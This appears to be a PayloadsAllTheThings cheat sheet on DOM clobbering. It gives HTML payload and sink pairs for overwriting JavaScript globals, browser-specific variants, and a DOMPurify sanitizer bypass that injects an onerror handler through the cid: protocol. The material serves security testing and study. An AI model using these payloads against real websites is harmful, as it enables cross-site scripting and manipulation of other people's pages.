Contents
- DOM Clobbering
- Methodology
- Tricks
> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
Exploitation requires any kind of `HTML injection` in the page.
- Clobbering `x.y.value`
```html
// Payload
<form id=x><output id=y>I've been clobbered</output>
// Sink
<script>alert(x.y.value);</script>
```
- Clobbering `x.y` using ID and name attributes together to form a DOM collection
```html
// Payload
<a id=x><a id=x name=y href="Clobbered">
// Sink
<script>alert(x.y)</script>
```
- Clobbering `x.y.z` - 3 levels deep
```html
// Payload
<form id=x name=y><input id=z></form>
<form id=x></form>
// Sink
<script>alert(x.y.z)</script>
```
- Clobbering `a.b.c.d` - more than 3 levels
```html
// Payload
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
// Sink
<script>alert(a.b.c.d)</script>
```
- Clobbering `forEach` (Chrome only)
```html
// Payload
<form id=x>
<input id=y name=z>
<input id=y>
</form>
// Sink
<script>x.y.forEach(element=>alert(element))</script>
```
- Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
```html
// Payloads
<html id="cdnDomain">clobbered</html>
<svg><body id=cdnDomain>clobbered</body></svg>
// Sink
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
- Clobbering `x.username`
```html
// Payload
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
// Sink
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
```
- Clobbering (Firefox only)
```html
// Payload
<base href=a:abc><a id=x href="Firefox<>">
// Sink
<script>
alert(x)//Firefox<>
</script>
```
- Clobbering (Chrome only)
```html
// Payload
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
// Sink
<script>
alert(x.xyz)//a://Clobbered<>
</script>
```
- DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-15.